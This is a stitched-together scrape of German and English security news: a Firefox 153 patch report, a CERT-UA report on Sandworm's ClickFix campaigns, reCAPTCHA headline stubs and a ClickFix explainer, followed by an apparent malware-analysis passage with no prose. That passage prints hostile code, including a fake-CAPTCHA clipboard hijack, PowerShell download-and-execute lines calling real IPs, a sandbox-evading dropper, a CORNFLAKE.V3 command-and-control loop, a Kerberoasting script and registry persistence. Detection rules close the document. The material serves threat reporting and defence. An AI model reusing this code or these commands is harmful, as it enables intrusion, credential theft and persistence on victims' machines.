Tags: #Cyber Security | #Google

Die neue Firefox-Version 153 für Windows, macOS, Linux und Android bringt einige Verbesserungen bei der Benutzung wie etwa HDR-Videowiedergabe, abgeschottete Tab-Umgebungen, und QR-Code-Erzeugung zur Link-Weitergabe. Die Entwickler haben mehr als 60 Sicherheitslücken gestopft. Updates gibt es auch für die ESR-Versionen.

Im Sicherheitsbericht für Firefox 153 nennt Mozilla mehr als 63 beseitigte Sicherheitslücken, von denen 60 durch externe Sicherheitsforscher entdeckt und gemeldet wurden, drei davon durch OpenAI Codex Security. Mozilla stuft 17 dieser Schwachstellen als hohes Risiko ein. Bei vier dieser Lücken drohen Ausbrüche aus der Browser-Sandbox.

▶Die neuesten Sicherheits-Updates

Weitere 35 Schwachstellen sind als mittleres Risiko ausgewiesen, der Rest als geringes Risiko. Die drei letzten Einträge im Sicherheitsbericht fassen eine nicht angegebene Zahl intern gefundener, als hohes Risiko eingestufter Sicherheitslücken zusammen, die aus Programmierfehlern bei der Speicherverwaltung resultieren. Die Lücken sind danach gruppiert, welche Programme und Programmversionen betroffen sind.

Was ist neu in Firefox 153?

Für Windows-Nutzer bietet Firefox 153 die Wiedergabe von HDR-Videos (High Dynamic Range). Voraussetzung ist, dass der HDR-Modus in den Windows Bildschirmeinstellungen aktiviert ist. Notebook-Displays, die lediglich „HDR Video-Streaming“ bieten, werden derzeit nicht unterstützt, ebenso wie Smartphone-Videos im Hochkant-Format.

Mit dem integrierten PDF-Betrachter und -Editor können Sie nun mehrere PDF-Dateien zusammenführen, indem Sie sie in die PDF-Sidebar ziehen. Auch können Sie jetzt Bilder als neue Seiten in PDF-Dokumente einfügen.

Wenn Sie einen Link weitergeben wollen, etwa auch an Ihr eigenes Smartphone, ohne einen Web-Dienst (wie Firefox Sync) zu benutzen, können Sie mit Firefox 153 einen QR-Code erstellen. Firefox hebt nun das Symbol für die Standort-Freigabe in roter Farbe hervor, wenn eine Website Zugriff auf Ihren Standort hat.

fz

Das mit Firefox 149 eingeführte und in Firefox integrierte Gratis-VPN bietet weiterhin eine vorübergehend (bis Ende August) auf 28 Länder erweiterte Auswahl virtueller Standorte mit uneingeschränktem Datenvolumen. Das kostenlose VPN ist derzeit für Firefox-Nutzer in den USA, Kanada, Großbritannien, Frankreich und Deutschland verfügbar.

Tipp: Unabhängig davon, dass Sie Ihren Browser stets aktuell halten, sollten Sie die Sicherheit Ihres PCs zusätzlich mit geeigneter Antivirus-Software verbessern. Gute Antivirus-Lösungen stellen wir in „Die besten Antivirus-Programme 2025 im Test: So schützen Sie Ihren Windows-PC“ vor. Falls Sie großen Wert auf anonymes Surfen legen, sind wiederum gute VPN-Programme einen Blick wert.

Weitere Browser-Updates

Neben Firefox 153.0 sind auch die ESR-Ausgaben 140.13.0 und 115.38.0 erhältlich. Letztere gibt es allerdings nur für Windows 7 & 8.1 sowie macOS 10.12 bis 10.14. In den ESR-Versionen haben Mozillas Entwickler diejenigen der oben genannten Schwachstellen behoben, die schon im teils gut abgehangenen Code dieser Browser-Generationen stecken. Das sind in Firefox 140.13 mindestens 32 und in Firefox 115.38 immerhin noch wenigstens 14 geschlossene Sicherheitslücken. Darunter sind zwei als kritisch eingestufte Schwachstellen, die bereits in Firefox 152.0.6 beseitigt wurden. Firefox 153 ist außerdem die Basis für die nächste ESR-Generation. Das bedeutet, Firefox ESR 140 wird im Oktober durch Firefox ESR 153 abgelöst.

Gnadenfrist für Windows 7 & 8 erneut verlängert

Firefox ESR 115 wird vorerst bis März 2027 (v115.52) weiter mit Sicherheits-Updates gepflegt. Wenn Sie Firefox 115 unter Windows 7, 8.1 oder macOS 10.12 bis 10.14 einsetzen, erhalten Sie zumindest für den Browser weiterhin aktuelle Sicherheits-Updates. Rechtzeitig vor Ablauf dieser Gnadenfrist wird Mozilla die Situation neu bewerten und dann entscheiden, ob es eine weitere Verlängerung gibt.

Updates für Tor Browser und Thunderbird

Der neueste Tor Browser 15.0.19 basiert auf Firefox ESR 140.13. Das ansonsten von Mozilla unabhängige Tor-Projekt und die Nutzer des Tor Browsers profitieren so von den in Firefox gestopften Sicherheitslücken. Tor Browser 15.0.9 bringt die Erweiterung NoScript 13.6.31 mit. Das Tor Projekt hostet NoScript für seinen Browser inzwischen selbst. Erkennbar ist das daran, dass diese NoScript-Version den Suffix „.1984“ (aktuell also 13.6.31.1984) trägt – George Orwell lässt grüßen. Ansonsten ist sie identisch mit der Version auf AMO (addons.mozilla.org). Einen Tor Browser für ältere Systeme gibt es nicht mehr. Auch Mozillas Mailer Thunderbird 153.0 und 140.13.0esr sind verfügbar. Darin haben die Entwickler ebenfalls Dutzende Sicherheitslücken beseitigt, die das Mail-Programm vorwiegend von Firefox geerbt hat.

Bis zur Veröffentlichung der nächsten Hauptversion Firefox 154 am 18. August plant Mozilla wöchentliche Updates zur Fehlerbehebung und um weitere Schwachstellen zu beseitigen. Nach Firefox 154 wechselt Mozilla, wie auch Google Chrome und Microsoft Edge, auf einen zweiwöchentlichen Turnus für neue Hauptversionen. Firefox 155 soll demnach bereits am 1. September erscheinen.

The ClickFix attacks technique has become a key initial access method for the UAC-0145 cyber threat cluster, according to a new report from Ukraine's Computer Emergency Response Team (CERT-UA). The agency said the threat group, also tracked as Sandworm, APT44, Seashell Blizzard, and a subcluster of UAC-0002, has shifted its tactics during 2026, increasingly relying on fake CAPTCHA prompts and social engineering to compromise systems.

CERT-UA said it has worked with Ukrainian cybersecurity agencies for several years to investigate the activities of UAC-0145. While the group previously relied on infected software installers distributed through torrent websites, recent campaigns have increasingly used ClickFix to trick users into executing malicious PowerShell commands.

ClickFix Attacks Emerging as Primary Initial Access Vector

According to CERT-UA, infections recorded during the spring and summer of 2026 frequently began when victims visited compromised websites displaying fake CAPTCHA pages. Users were instructed to copy and execute PowerShell commands in their terminal, a phishing technique commonly referred to as ClickFix.

The downloaded commands were designed to retrieve malicious files such as GHETTOVIBE, a Visual Basic Script (VBS) that establishes persistence by placing itself in the Windows Startup directory.

Once executed, attackers could deploy SCOUTCURL, a PowerShell reconnaissance tool capable of collecting information about the compromised system, including device specifications, installed software, browser data, and local files before exfiltrating the information.

CERT-UA also observed malware loaders including FLUIDLEECH, disguised as antivirus software, and LOADLOOP being used during these campaigns.

Backdoors and Data Theft Tools Widely Deployed

The report noted that attackers continue using malware families such as KALAMBUR, SUMBUR, and TAMBUR after gaining access to victim systems.

To maintain remote access, the group relied on legitimate utilities including OpenSSH and Tor, forwarding local network ports such as 445, 3389, and 22 to attacker-controlled infrastructure.

CERT-UA also found malware designed to steal messaging data from Signal and WhatsApp, with stolen information reportedly exfiltrated using RSYNC.

On infected systems examined during cyber defense operations, investigators additionally identified FREAKYPOLL, a Python-based backdoor distributed as compiled bytecode (.pyc), providing attackers with persistent unauthorized access.

Compromised Websites Used to Deliver Fake CAPTCHA Pages

During June and July 2026, CERT-UA analyzed more than ten compromised websites involved in ClickFix attacks.

Investigators found attackers using both the Cloaking.House service and custom malware called SMARTAXE to dynamically modify legitimate webpages. SMARTAXE retrieves remote domains from blockchain smart contracts through Ethereum's eth_call function before displaying fake CAPTCHA pages or redirecting visitors to malicious content.

CERT-UA warned that any website used in these attacks should be considered compromised, potentially through vulnerable content management systems (CMS), stolen credentials, web shells, malicious plugins, modified website scripts, or server-side backdoors.

The agency urged website administrators and hosting providers to strengthen website security and respond quickly to incident reports.

Android Malware Also Part of UAC-0145 Operations

The report also highlighted growing use of Android malware distributed through messaging applications.

Attackers were observed sharing APK files disguised as security or antivirus tools. One such malware family, tracked as COWARDDUCK, functions as a full-featured Android backdoor capable of collecting device information, contacts, files, and real-time geolocation.

The malware targets files from directories including DCIM, Documents, Downloads, Pictures, and Alarms while searching for formats such as DOCX, XLSX, PPTX, ZIP, RAR, JSON, and OVPN files.

According to CERT-UA, COWARDDUCK uploads stolen files through the Dropbox API while receiving commands from legitimate services including Steam Community and StockMemory domains through proxy infrastructure.

Microsoft Sees Global Rise in ClickFix Campaigns

Microsoft Threat Intelligence and Microsoft Defender Experts also reported that ClickFix campaigns have increased significantly since early 2024, targeting thousands of enterprise and consumer devices globally each day.

Microsoft said the technique commonly delivers malware such as Lumma Stealer by persuading users to copy and execute commands through Windows Run, Windows Terminal, or Windows PowerShell. The campaigns are often combined with phishing, malvertising, and drive-by compromise techniques that imitate trusted brands.

Because ClickFix attacks rely on user interaction rather than exploiting software vulnerabilities directly, Microsoft recommends organizations strengthen user awareness and apply security policies that restrict unnecessary use of command execution tools.

Mehr lesen: Google Play Store Aktion: Diese 77 Android-Apps, Spiele, Icon Packs & Live Wallpaper gibt es heute Gratis

Der Beitrag Google Play Store Aktion: Diese 77 Android-Apps, Spiele, Icon Packs & Live Wallpaper gibt es heute Gratis erschien zuerst auf GoogleWatchBlog.

Mehr lesen: Recaptcha: Google-KI will eure Hände sehen – Nutzer sollen zur Autorisierung Winken statt Tippen (alle Infos)

Der Beitrag Recaptcha: Google-KI will eure Hände sehen – Nutzer sollen zur Autorisierung Winken statt Tippen (alle Infos) erschien zuerst auf GoogleWatchBlog.

Mehr lesen: Google Play Store Aktion: Diese 86 Android-Apps, Spiele, Icon Packs & Live Wallpaper gibt es heute Gratis

Der Beitrag Google Play Store Aktion: Diese 86 Android-Apps, Spiele, Icon Packs & Live Wallpaper gibt es heute Gratis erschien zuerst auf GoogleWatchBlog.

Read more →

The post Google Tests Hand Gesture Verification CAPTCHA That Uses Webcam Biometrics, Already Bypassed With Stock Photos appeared first on IT Security News.

Mehr lesen: Recaptcha: Google-KI will eure Hände sehen – Nutzer sollen zur Autorisierung in die Kamera winken

Der Beitrag Recaptcha: Google-KI will eure Hände sehen – Nutzer sollen zur Autorisierung in die Kamera winken erschien zuerst auf GoogleWatchBlog.

Ein Sicherheitscheck, der echte Menschen von Bots trennen soll, ist an einem simplen Foto gescheitert. Google testet seit Mitte Juni eine reCAPTCHA-Variante, die euch auffordert,…

Dieser Artikel Winken vor der Webcam: Googles neuer Bot-Schutz ist schon geknackt erschien zuerst auf SmartDroid.de.

Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

Tags: #Cyber Security | #Google

Read more →

The post Google reCAPTCHA adds hand gesture verification appeared first on IT Security News.

The post Forget traffic lights, Google’s reCAPTCHA may ask for hand gestures appeared first on Help Net Security.

Read more →

The post Forget traffic lights, Google’s reCAPTCHA may ask for hand gestures appeared first on IT Security News.

Read more →

The post ErrTraffic MaaS Uses Fake reCAPTCHA and Cloudflare Turnstile Lures to Execute PowerShell Commands appeared first on IT Security News.

The post ErrTraffic MaaS Uses Fake reCAPTCHA and Cloudflare Turnstile Lures to Execute PowerShell Commands appeared first on Cyber Security News.

Googles reCaptcha ist auf Millionen Websites im Einsatz, doch immer mehr europäische Unternehmen suchen nach Alternativen mit konsequentem Datenschutz. Inzwischen gibt es gleich vier Captcha-Dienste, die komplett innerhalb der EU gehostet werden und ohne Cookies oder Tracking auskommen. Wir haben Trustcaptcha, Private Captcha, CaptchaFox und Myra EU CAPTCHA verglichen und zeigen, welcher Dienst zu welchen […]

Der Beitrag Captcha ohne Google: 4 europäische Alternativen im Vergleich erschien zuerst auf BASIC thinking. Folge uns auch auf Google News und Flipboard oder abonniere unseren Newsletter UPDATE.

Tags: #CAPTCHAs | #Google

You visit a website. A CAPTCHA pops up, it looks exactly like a real Cloudflare or Google verification. You click “I’m not a robot.” Then it asks you to run a quick command to complete verification. You do it. Your computer is now infected. This is a ClickFix attack, and it’s spreading rapidly in 2026.

Table of Contents
1. What Is a ClickFix Attack?
2. How Does It Work? — Step by Step
3. Inside the ClickFix Builder Tool
4. The Fake CAPTCHA in Action
5. Malicious Command Execution
6. What Malware Gets Delivered?
7. Why This Attack Is So Dangerous
8. Indicators of Compromise (IOCs)
9. How to Protect Yourself
10. Conclusion

01 What Is a ClickFix Attack?

A ClickFix attack is a social engineering technique where attackers trick users into running malicious commands under the guise of “fixing” an issue or completing a verification step. Unlike traditional malware that silently installs itself, ClickFix makes the victim do all the work, which is exactly what makes it so effective. The attack does not exploit any software vulnerability. There is no hacking involved in the technical sense. Instead, it exploits human trust, specifically, the trust users have built with everyday verification systems like Cloudflare and Google reCAPTCHA.

How It Works — Brief Explanation
1. The victim lands on a compromised or fake website

2. A message appears claiming something is broken, “browser error,” “CAPTCHA failed,” or “update required.”

3. The site instructs the user to copy and paste a command into tools like PowerShell, Command Prompt, or the Run dialog

4. Once executed, that command silently downloads and runs malware on the victim’s device

Key Takeaway: ClickFix attacks don’t exploit software vulnerabilities. They exploit human behavior by turning the user into the execution mechanism. No patch can fix this; only awareness can.

02 How Does It Work? — Step by Step

The attack follows a carefully designed psychological flow. Each step builds false trust and pushes the victim closer to the final action, running a malicious command on their own machine.

1. Victim Visits a Fake or Compromised Website: The attacker either hacks a legitimate website or creates a convincing fake one. The victim arrives through a search result, social media link, or phishing message.

2. A Fake Verification Page Appears: A realistic Cloudflare or reCAPTCHA screen appears, saying “Verify you are human by completing the action below.” It looks identical to the real thing.

3. Victim Clicks “I’m Not a Robot”: Clicking the checkbox silently copies a malicious command to the victim’s clipboard. They have no idea this has happened.

4. Instructions to “Complete Verification”: The page then tells the victim to open their terminal or PowerShell, paste the copied command, and press Enter to “finish verification.”

5. Malware Executes Silently: The victim pastes and runs the command. Within seconds, it downloads and executes a malware payload, an info stealer, RAT, or ransomware loader.

03 Inside the ClickFix Builder Tool

During our research at ThreatWatch360, we got access to a ClickFix Builder, a ready-made toolkit that lets attackers generate and deploy these fake CAPTCHA pages with zero coding knowledge. The tool has a polished GUI with a Build Center, VPS Control panel, and real-time monitoring.

Builder Features

What the ClickFix Builder Offers:
1. Payload Command field: attacker pastes their malicious curl/PowerShell command here
2. Build Modes: “Portable File” for quick local testing, “VPS Deploy” for live attacks
3. Advanced Base64 Dropper: encodes the payload to evade antivirus detection
4. Custom URL field: points to attacker-controlled payload server
5. IP Blocking Rules: blocks security researchers and sandboxes from analyzing the page
6. Real-time System Log: shows live connections as victims trigger the fake CAPTCHA

What this means: An attacker with no programming skills can set up a live ClickFix attack in under 10 minutes. The builder handles everything: page generation, payload delivery, and live monitoring.

04 The Fake CAPTCHA in Action

Once deployed, the fake CAPTCHA page looks almost identical to a real Cloudflare or Google verification screen. There are two main variants attackers use: the fake Cloudflare check and the fake reCAPTCHA. Here is exactly what the victim sees.

Notice how both pages use real branding, real fonts, and accurate color schemes from Cloudflare and Google. The average user has no reason to suspect anything is wrong. This is what makes the ClickFix attack so devastatingly effective; it weaponizes the trust users have built with these legitimate services over the years.

05 Malicious Command Execution — What Really Happens

This is the most critical stage of the attack. After the victim clicks the fake checkbox, the page reveals “Verification Steps” — step-by-step instructions that guide the victim into executing the malware themselves.

The malicious command used in this attack: curlhttp://127.0.0.1:8000/payload.sh -o payload.sh && chmod +x payload.sh && ./payload.sh

This single line: downloads a shell script from the attacker’s server → makes it executable → runs it immediately. All in one command, completed in seconds.

The victim sees the terminal output scrolling and assumes verification is completing. In reality, the attacker’s payload is already running silently in the background, stealing data, installing backdoors, or preparing to encrypt files.

Why we used ThreatWatch360 as the test target: To demonstrate the attack in a safe, controlled environment without causing real harm. In an actual attack, this step would install an info stealer, open a C2 connection, or begin ransomware encryption.

06 What Malware Gets Delivered?

The ClickFix builder is payload-agnostic, meaning the attacker decides what malware gets delivered. The fake CAPTCHA is simply the delivery mechanism. In real-world attacks observed through 2025 and 2026, three types of malware are most commonly deployed:

1. Info Stealers: Steals saved passwords, browser cookies, credit card data, and crypto wallet keys from the victim’s device

2. Remote Access Trojans (RATs): Gives the attacker full remote control of the victim’s computer files, webcam, microphone, and keystrokes

3. Ransomware Loaders: Downloads and installs ransomware that encrypts all files on the device and demands payment to restore access

Why ClickFix bypasses antivirus: Because the user runs the command themselves, most endpoint security tools do not flag it. The execution looks like a normal user-initiated action, not an automated attack. Security tools are built to stop software from installing malware, not people.

07 Why This Attack Is So Dangerous

ClickFix is particularly alarming because it defeats nearly every layer of traditional cybersecurity defense simultaneously:

Risk Assessment

1. Bypasses antivirus and EDR tools: The user, not software, executes the payload, so security tools see a “trusted” action
2. No file download visible: Many variants run scripts directly from memory, leaving nothing on disk for scanners to detect
3. Exploits trusted brand recognition: Cloudflare and Google CAPTCHA are things users see every single day, so they don’t question them
4. Works on every operating system: Windows (PowerShell/Run dialog), macOS (Terminal), and Linux (Terminal) variants all exist
5. Zero technical skill required: The builder GUI makes deployment trivial for anyone with basic computer knowledge
6. IP blocking built in: Blocks security researchers from analyzing the page, extending how long the attack stays live

08 Indicators of Compromise (IOCs)

If you encounter any of the following warning signs while browsing, close the browser tab immediately and do not follow any instructions on the page:

i) Behavior:
• Any website asking you to open PowerShell, Terminal, or the Run dialog
• CAPTCHA page instructing you to press Windows Key + R or Ctrl + Alt + T
• The verification page asks you to paste a command and press Enter
• Cloudflare or Google verification on an unfamiliar or suspicious website

ii) Command Pattern:
• curl [URL] -o [file].sh && chmod +x [file].sh && ./[file].sh
• powershell -enc [Base64 string] or iex(iwr [URL])

iii) Infrastructure:
• Pages hosted on free VPS or unfamiliar domains using Cloudflare branding

09 How to Protect Yourself

The good news is that ClickFix attacks are completely preventable. Since they rely entirely on the victim taking a deliberate action, knowing what to look for is your complete defense.

1. Never Run Commands from Websites: No legitimate website ever needs you to open your terminal or PowerShell. This is a universal rule with zero exceptions.

2. Verify CAPTCHA Carefully: Real Cloudflare and Google CAPTCHA never ask you to run commands. If a CAPTCHA asks this, it is 100% fake; close the tab.

3. Check Your Clipboard First: If a website makes you click something, paste it into Notepad first before pasting anywhere else. See exactly what was copied.

4. Keep Security Software Updated: While ClickFix bypasses many AV tools, updated endpoint protection can still catch known payload signatures after execution begins.

5. Use a Non-Admin Account Daily: Running under a standard (non-administrator) account limits what malware can do, even if it gets executed on your device.

6. Educate Your Team: ClickFix specifically targets non-technical users who trust CAPTCHA pages instinctively. Share this article with your team.

The one rule that prevents 100% of ClickFix attacks: Never open a terminal or command prompt because a website told you to. No legitimate service, not Cloudflare, not Google, not Microsoft, will ever ask you to do this. Ever.

10 Conclusion

The ClickFix attack is a masterclass in social engineering. It requires no zero-day exploits, no sophisticated malware delivery chain, and no technical skill from the attacker. It simply requires that a victim trusts a CAPTCHA and follows instructions. What makes it especially alarming is the availability of ready-made builder tools that package this entire attack into a point-and-click interface. Anyone with a VPS and five minutes can deploy a convincing fake verification page capable of delivering ransomware, info stealers, or remote access trojans to victims worldwide. At ThreatWatch360, we believe education is the most powerful cybersecurity tool available. The entire ClickFix attack chain breaks the moment a potential victim knows one simple rule: legitimate websites never ask you to run terminal commands.

If you suspect your organization is being targeted by ClickFix or similar social engineering attacks, visit ThreatWatch360 to get a brand risk assessment and real-time threat monitoring for your domain.

ClickFix Attack Exposed: How Fake CAPTCHA Delivers Malware was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

The post Google’s New reCAPTCHA QR System Locks Out Privacy-Focused Android Users appeared first on PrivacySavvy.

The post Google’s new reCAPTCHA system restricts access to the open web appeared first on CyberInsider.

Read more →

The post Google reCAPTCHA Update Blocks Privacy-Focused Android Users From Sites appeared first on IT Security News.

Quelle

The post Google reCAPTCHA Update Blocks Privacy-Focused Android Users From Sites appeared first on Cyber Security News.

Google hat die neue Stufe seines Bot-Tests reCAPTCHA auf Android an Google Play Services 25.41.30 oder neuer gebunden. Bei verdächtigem Verhalten zeigt das System statt…

Dieser Artikel Neuer Bot-Test schließt Android-Nutzer ohne Google-Dienste aus erschien zuerst auf SmartDroid.de.

Written by: Marco Galli

Name: a
Value: powershell -w h -c 
"$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 
0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"\1

// An image with the reCAPTCHA logo is displayed on the webpage
<div class="c" id="j">
  <img src="https://www.gstatic[.]com/recaptcha/api2/logo_48.png" 
alt="reCAPTCHA Logo">
  <span>I'm not a robot</span>
</div>

// The malicious script is saved in variable _0xC
var _0xC = "powershell -w h -c 
"$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 
0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"\1";

// When the image is clicked, the script is copied to the clipboard
document.getElementById("j").onclick = function(){ 
var ta = document.createElement("textarea");
ta.value = _0xC;
document.body.appendChild(ta);
ta.select();
document.execCommand("copy");

GET /1742214432 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) 
WindowsPowerShell/5.1.19041.5486
Host: 138.199.161[.\]141:8080
Connection: Keep-Alive

# Get computer manufacturer for evasion check.
$Manufacturer = Get-WmiObject Win32_ComputerSystem | Select-Object 
-ExpandProperty Manufacturer
# Exit if running in QEMU (VM detection).
if ($Manufacturer -eq "QEMU") {
    exit 0;
}

# Get memory info for evasion check.
$TotalMemoryGb = 
(Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory / 1GB
$AvailableMemoryGb = 
(Get-CimInstance Win32_OperatingSystem).FreePhysicalMemory / 1MB 
$UsedMemoryGb = $TotalMemoryGb - $AvailableMemoryGb 
# Exit if total memory is low or calculated "used" memory is low 
(possible sandbox detection).
if ($TotalMemoryGb -lt 4 -or $UsedMemoryGb -lt 1.5) {
    exit 0
}
# Exit if computer name matches default pattern 
(possible sandbox detection).
if ($env:COMPUTERNAME -match "DESKTOP-S*") {
    exit 0
}

# Pause execution briefly.
sleep 1

# Define download URL (defanged).
$ZipURL = "hxxps://nodejs[.]org/dist/v22.11.0/node-v22.11.0-win-x64.zip"
# Define destination folder (AppData).
$DestinationFolder = [System.IO.Path]::Combine($env:APPDATA, "")
# Define temporary file path for download.
$ZipFile = [System.IO.Path]::Combine($env:TEMP, "downloaded.zip")

# Download the Node.js zip file.
iwr -Uri $ZipURL -OutFile $ZipFile

# Try block for file extraction using COM objects.
try {
	$Shell = New-Object -ComObject Shell.Application
	$ZIP = $Shell.NameSpace($ZipFile)
	$Destination = $Shell.NameSpace($DestinationFolder)
	# Copy/extract contents silently.
	$Destination.CopyHere($ZIP.Items(), 20)
}
# Exit on any extraction error.
catch {
	exit 0
}

# Update destination path to the extracted Node.js folder.
$DestinationFolder = [System.IO.Path]::Combine($DestinationFolder, 
"node-v22.11.0-win-x64")
# Base64 encoded payload (large blob containing the CORNFLAKE.V3 sample).
$BASE64STRING =<Base-64 encoded CORNFLAKE.V3 sample>
# Decode the Base64 string.
$BINARYDATA = [Convert]::FromBase64String($BASE64STRING)
# Convert decoded bytes to a string (the payload code).
$StringData = [System.Text.Encoding]::UTF8.GetString($BINARYDATA)
# Path to the extracted node.exe.
$Node = [System.IO.Path]::Combine($DestinationFolder, "node.exe")

# Start node.exe to execute the decoded string data as JavaScript, hidden.
start-process -FilePath "$Node" -ArgumentList "-e `"$StringData`"" 
-WindowStyle Hidden

explorer.exe 
     ↳ c:\windows\system32\windowspowershell\v1.0\powershell.exe 
-w h -c 
"$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band 
0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"
          ↳ c:\users\<user>\appdata\roaming\node-v22.11.0-win-x64\node.exe 
-e "{CORNFLAKE.V3}" 
               ↳ c:\windows\system32\windowspowershell\v1.0\powershell.exe 
-c "{Initial check and System Information Collection}"
                    ↳ C:\Windows\System32\ARP.EXE -a
                    ↳ C:\Windows\System32\chcp.com 65001
                    ↳ C:\Windows\System32\systeminfo.exe 
                    ↳ C:\Windows\System32\tasklist.exe /svc
               ↳ c:\windows\system32\cmd.exe /d /s /c "wmic process where 
processid=16004 get commandline"
               ↳ C:\Windows\System32\cmd.exe /d /s /c "{Kerberoasting}"
               ↳ c:\windows\system32\cmd.exe /d /s /c 
"{Active Directory Reconnaissance}"
               ↳ c:\windows\system32\cmd.exe /d /s /c "reg add 
{ChromeUpdater as Persistence}" 

if (process.argv[1] !== undefined && process.argv[2] === undefined) {
    const child = spawn(process.argv[0], [process.argv[1], '1'], {
        detached: true,
        stdio: 'ignore',
        windowsHide: true,
    });
    child.unref();
    process.exit(0);
}

let cmd = execSync('chcp 65001 > $null 2>&1 ; echo \'version: ' 
+ ver + '\' ; if ([Security.Principal.WindowsIdentity]::GetCurrent().Name 
-match '(?i)SYSTEM') { \'Runas: System\' } elseif 
(([Security.Principal.WindowsPrincipal] 
[Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole
([Security.Principal.WindowsBuiltInRole]::Administrator)) 
{ \'Runas: Admin\' } else { \'Runas: User\' } ; systeminfo ; echo 
\'=-=-=-=-=-\' ; tasklist /svc ; echo \'=-=-=-=-=-\' ; Get-Service | 
Select-Object -Property Name, DisplayName | Format-List ; 
echo \'=-=-=-=-=-\' ; Get-PSDrive -PSProvider FileSystem | Format-Table 
-AutoSize ; echo \'=-=-=-=-=-\' ; arp -a', { encoding: 'utf-8', shell: 
'powershell.exe', windowsHide: true });

commandRet = Buffer.from(cmd, 'utf-8');

sysinfo = Buffer.concat([numberBufferInit, numberBufferId, commandRet]);

// Define lists of hostnames and IP addresses for the command 
and control server.
const hosts = ['159.69.3[.]151'];
const hostsIp = ['159.69.3[.]151'];

// Variables to manage the connection and retry logic.
let useIp = 0;
let delay = 1;

// Main loop to continuously communicate with the command 
and control server.
async function mainloop() {
    let toHost = hosts[Math.floor(Math.random() * 1000) % hosts.length];
    let toIp = hostsIp[Math.floor(Math.random() * 1000) % hostsIp.length];

    while (true) {
        // Wait for the specified delay.
        await new Promise((resolve) => setTimeout(resolve, delay));

        try {
            // Attempt to communicate with the command and control server.
            if (useIp < 200) {
                await main(toHost, PORT_IP);
                useIp = 0;
            } else {
                await main(toIp, PORT_IP);
                useIp++;
                if (useIp >= 210) useIp = 0;
            }
        } catch (error) {
            // Handle errors during communication.
            console.error('Error with HTTP request:', error.message);
            toHost = hosts[Math.floor(Math.random() * 1000) % 
hosts.length];
            toIp = hostsIp[Math.floor(Math.random() * 1000) % 
hostsIp.length];
            useIp++;
            delay = 1000 * 10;
            continue;
        }

        // Set the delay for the next attempt.
        delay = 1000 * 60 * 5;
    }
}

$a = 'System.IdentityModel';
$b = [Reflection.Assembly]::LoadWithPartialName($a);
$c = New - Object DirectoryServices.DirectorySearcher([ADSI]'');
$c.filter = '(&(servicePrincipalName=*)(objectCategory=user))';
$d = $c.Findall();
foreach($e in $d) {
    $f = $e.GetDirectoryEntry();
    $g = $f.samAccountName;
    if ($g  - ne 'krbtgt')  {
        Start - Sleep  - Seconds (Get - Random  - Minimum 1  
- Maximum 11);
        foreach($h in $f.servicePrincipalName) {
            $i = $null;
            try {
                $i = New - 
Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken  
- ArgumentList $h;
            } catch {}
            if ($i  - ne $null)  {
                $j = $i.GetRequest();
                if ($j)  {
                    $k = [System.BitConverter]::ToString($j) - replace'-';
                    [System.Collections.ArrayList]$l = 
($k - replace'^(.*?)04820...(.*)', '$2') - Split'A48201';
                    $l.RemoveAt($l.Count - 1);
                    $m = $l - join'A48201';
                    try {
                        $m = $m.Insert(32, '$');
                        $n = '$krb5tgs$23$*' + $g + '/' + $h + '*$' + $m;
                        Write - Host $n;
                        break;
                    } catch {}}}}}}

"C:\\Users\<User>\AppData\Roaming\php\php.exe" -d extension=zip -d 
extension_dir=ext C:\Users\<User>\AppData\Roaming\php\config.cfg 1

POST /ue/2&290cd148ed2f4995f099b7370437509b/fTqvlt HTTP/1.1  
Host: varying-rentals-calgary-predict.trycloudflare[.]com  
Connection: close  
Content-Length: 39185  
Content-type: application/octet-stream

tcp://167.235.235[.]151:443
tcp://128.140.120[.]188:443
tcp://177.136.225[.]135:443

explorer.exe
    ↳ C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe 
"-c irm dnsmicrosoftds-data[.]com/log/out | clip; & 
([scriptblock]::Create((Get-Clipboard) -join 
(""+[System.Environment]::NewLine)))"
       ↳ C:\WINDOWS\system32\clip.exe
       ↳ C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe 
"-w H -c irm windows-msg-as[.]live/qwV1jxQ"
       ↳ C:\WINDOWS\system32\systeminfo.exe
       ↳ C:\Users\<user>\AppData\Roaming\php\php.exe "-d extension=zip 
-d extension_dir=ext C:\Users\<user>\AppData\Roaming\php\config.cfg 
1 {CORNFLAKE.V3}"
          ↳ cmd.exe /s /c "powershell -c 
{Multiple PS Commands for Host Reconnaissance}"
          ↳ cmd.exe /s /c "powershell -c 
{Multiple PS Commands for Host Reconnaissance}"
          ↳ cmd.exe /s /c "reg add 
HKCU\Software\Microsoft\Windows\CurrentVersion\Run 
/v "random_appdata_dirname" /t REG_SZ /d "\"<php_binary_path>" 
\"<script_path>"" /f"
          ↳ powershell.exe
             ↳ C:\Windows\System32\rundll32.exe 
"{WINDYTWIST.SEA Backdoor}" start

metadata.event_type = "PROCESS_LAUNCH"
principal.process.file.full_path = /powershell\.exe/ nocase
target.process.file.full_path = /appdata\\roaming\\.*node\.exe/ nocase
target.process.command_line = /"?node\.exe"?\s*-e\s*"/ nocase

metadata.event_type = "PROCESS_LAUNCH"
principal.process.file.full_path = /powershell\.exe/ nocase
target.process.file.full_path = /appdata\\roaming\\.*php\.exe/ nocase
target.process.command_line = /"?php\.exe"?\s*-d\s.*1$/ nocase
target.process.command_line != /\.php\s*\s*/ nocase

metadata.event_type = "PROCESS_LAUNCH"
principal.process.file.full_path = 
/appdata\\roaming\\.*node\.exe|appdata\\roaming\\.*php\.exe/ nocase 
target.process.file.full_path = /powershell\.exe|cmd\.exe/ nocase

metadata.event_type = "NETWORK_CONNECTION"
principal.process.file.full_path = /powershell\.exe|mshta\.exe/ nocase 
target.hostname = /nodejs\.org|windows\.php\.net/ nocase

